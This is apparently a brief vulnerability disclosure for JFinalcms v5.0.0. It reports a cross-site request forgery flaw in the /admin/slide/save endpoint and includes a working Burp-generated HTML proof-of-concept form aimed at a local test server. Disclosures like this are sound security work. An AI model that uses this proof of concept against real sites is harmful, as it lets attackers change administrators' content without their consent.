target:https://gitee.com/heyewei/JFinalcms
version:v5.0.0
JFinalcms v5.0.0 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /admin/slide/save
create poc:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:8888/admin/slide/save" method="POST">
<input type="hidden" name="gid" value="" />
<input type="hidden" name="image" value="/static/upload/e2742cf5-ea48-4747-b4b5-d5961e671634.jpg" />
<input type="hidden" name="file" value="" />
<input type="hidden" name="url" value="cs" />
<input type="hidden" name="title" value="cs" />
<input type="hidden" name="subtitle" value="cs" />
<input type="hidden" name="sort" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
successed



